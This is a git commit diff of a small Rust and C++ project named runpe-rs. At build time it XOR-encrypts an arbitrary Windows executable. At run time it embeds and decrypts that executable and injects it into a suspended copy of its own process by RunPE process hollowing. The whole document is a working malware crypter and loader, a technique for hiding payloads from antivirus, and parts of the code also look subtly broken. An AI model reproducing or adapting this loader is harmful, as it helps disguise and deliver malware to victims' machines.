commit f38b576d3a890d2ac2cdd9357f6cce3092e8a10a Author: minco Date: Tue Jul 22 00:02:14 2025 +0900 initial commit diff --git a/.gitignore b/.gitignore new file mode 100644 index 0000000..edc64cc --- /dev/null +++ b/.gitignore @@ -0,0 +1,3 @@ +/target +exe/s.exe +crypt.bin diff --git a/Cargo.lock b/Cargo.lock new file mode 100644 index 0000000..cb4e621 --- /dev/null +++ b/Cargo.lock @@ -0,0 +1,25 @@ +# This file is automatically @generated by Cargo. +# It is not intended for manual editing. +version = 4 + +[[package]] +name = "cc" +version = "1.2.30" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "deec109607ca693028562ed836a5f1c4b8bd77755c4e132fc5ce11b0b6211ae7" +dependencies = [ + "shlex", +] + +[[package]] +name = "runpe-rs" +version = "0.1.0" +dependencies = [ + "cc", +] + +[[package]] +name = "shlex" +version = "1.3.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "0fda2ff0d084019ba4d7c6f371c95d8fd75ce3524c3cb8fb653a3023f6323e64" diff --git a/Cargo.toml b/Cargo.toml new file mode 100644 index 0000000..e28105d --- /dev/null +++ b/Cargo.toml @@ -0,0 +1,9 @@ +[package] +name = "runpe-rs" +version = "0.1.0" +edition = "2024" + +[dependencies] + +[build-dependencies] +cc = "1.2.30" diff --git a/build.rs b/build.rs new file mode 100644 index 0000000..1972434 --- /dev/null +++ b/build.rs @@ -0,0 +1,24 @@ +use std::{fs, path::Path}; + +fn main() { + cc::Build::new() + .cpp(true) + .file("cpp/run_pe.cpp") + .compile("peffi"); + + let in_path = Path::new("exe/s.exe"); + + let key = 0x42; + + let mut bytes = fs::read(in_path).expect("failed to read input"); + xor_crypt(bytes.as_mut_slice(), key); + + let out_path = Path::new("crypt.bin"); + fs::write(out_path, bytes).expect("failed to write"); +} + +fn xor_crypt(input: &mut [u8], key: u8) { + for byte in input.iter_mut() { + *byte ^= key; + } +} diff --git a/cpp/run_pe.cpp b/cpp/run_pe.cpp new file mode 100644 index 0000000..1c028a6 --- /dev/null +++ b/cpp/run_pe.cpp @@ -0,0 +1,93 @@ +#include // Standard C++ library for console I/O +#include // Standard C++ Library for string manip + +#include // WinAPI Header +#include //WinAPI Process API + + +// use this if you want to read the executable from disk +HANDLE MapFileToMemory(LPCSTR filename) +{ + std::streampos size; + std::fstream file(filename, std::ios::in | std::ios::binary | std::ios::ate); + if (file.is_open()) + { + size = file.tellg(); + + char* Memblock = new char[size](); + + file.seekg(0, std::ios::beg); + file.read(Memblock, size); + file.close(); + + return Memblock; + } + return 0; +} + +extern "C" int RunPortableExecutable(void* Image) +{ + IMAGE_DOS_HEADER* DOSHeader; // For Nt DOS Header symbols + IMAGE_NT_HEADERS* NtHeader; // For Nt PE Header objects & symbols + IMAGE_SECTION_HEADER* SectionHeader; + + PROCESS_INFORMATION PI; + STARTUPINFOA SI; + + CONTEXT* CTX; + + DWORD* ImageBase; //Base address of the image + void* pImageBase; // Pointer to the image base + + int count; + char CurrentFilePath[1024]; + + DOSHeader = PIMAGE_DOS_HEADER(Image); // Initialize Variable + NtHeader = PIMAGE_NT_HEADERS(DWORD(Image) + DOSHeader->e_lfanew); // Initialize + + GetModuleFileNameA(0, CurrentFilePath, 1024); // path to current executable + + if (NtHeader->Signature == IMAGE_NT_SIGNATURE) // Check if image is a PE File. + { + ZeroMemory(&PI, sizeof(PI)); // Null the memory + ZeroMemory(&SI, sizeof(SI)); // Null the memory + + if (CreateProcessA(CurrentFilePath, NULL, NULL, NULL, FALSE, + CREATE_SUSPENDED, NULL, NULL, &SI, &PI)) // Create a new instance of current + //process in suspended state, for the new image. + { + // Allocate memory for the context. + CTX = LPCONTEXT(VirtualAlloc(NULL, sizeof(CTX), MEM_COMMIT, PAGE_READWRITE)); + CTX->ContextFlags = CONTEXT_FULL; // Context is allocated + + if (GetThreadContext(PI.hThread, LPCONTEXT(CTX))) //if context is in thread + { + // Read instructions + ReadProcessMemory(PI.hProcess, LPCVOID(CTX->Ebx + 8), LPVOID(&ImageBase), 4, 0); + + pImageBase = VirtualAllocEx(PI.hProcess, LPVOID(NtHeader->OptionalHeader.ImageBase), + NtHeader->OptionalHeader.SizeOfImage, 0x3000, PAGE_EXECUTE_READWRITE); + + // Write the image to the process + WriteProcessMemory(PI.hProcess, pImageBase, Image, NtHeader->OptionalHeader.SizeOfHeaders, NULL); + + for (count = 0; count < NtHeader->FileHeader.NumberOfSections; count++) + { + SectionHeader = PIMAGE_SECTION_HEADER(DWORD(Image) + DOSHeader->e_lfanew + 248 + (count * 40)); + + WriteProcessMemory(PI.hProcess, LPVOID(DWORD(pImageBase) + SectionHeader->VirtualAddress), + LPVOID(DWORD(Image) + SectionHeader->PointerToRawData), SectionHeader->SizeOfRawData, 0); + } + WriteProcessMemory(PI.hProcess, LPVOID(CTX->Ebx + 8), + LPVOID(&NtHeader->OptionalHeader.ImageBase), 4, 0); + + // Move address of entry point to the eax register + CTX->Eax = DWORD(pImageBase) + NtHeader->OptionalHeader.AddressOfEntryPoint; + SetThreadContext(PI.hThread, LPCONTEXT(CTX)); // Set the context + ResumeThread(PI.hThread); //´Start the process/call main() + + return 0; // Operation was successful. + } + } + } +} diff --git a/cpp/run_pe.h b/cpp/run_pe.h new file mode 100644 index 0000000..6f65268 --- /dev/null +++ b/cpp/run_pe.h @@ -0,0 +1 @@ +extern "C" int RunPortableExecutable(void* Image); diff --git a/src/main.rs b/src/main.rs new file mode 100644 index 0000000..67146a8 --- /dev/null +++ b/src/main.rs @@ -0,0 +1,18 @@ +use crate::runpe::run_portable_executable; + +mod runpe; + +fn xor_crypt(input: &mut [u8], key: u8) { + for byte in input.iter_mut() { + *byte ^= key; + } +} + +static BYTES: &[u8] = include_bytes!("crypt.bin"); + +fn main() { + let mut bytes = BYTES.clone(); + xor_crypt(&mut bytes, 0x42); + + run_portable_executable(bytes).unwrap(); +} diff --git a/src/runpe.rs b/src/runpe.rs new file mode 100644 index 0000000..3874eac --- /dev/null +++ b/src/runpe.rs @@ -0,0 +1,19 @@ +extern "C" { + fn RunPortableExecutable(Image: *mut std::ffi::c_void) -> i32; +} + +pub fn run_portable_executable(image: &[u8]) -> Result { + if image.is_empty() { + return Err("Empty byte slice passed"); + } + + let ptr = image.as_ptr() as *mut c_void; + + let result = unsafe { RunPortableExecutable(ptr) }; + + if result < 0 { + Err("RunPortableExecutable failed") + } else { + Ok(result) + } +}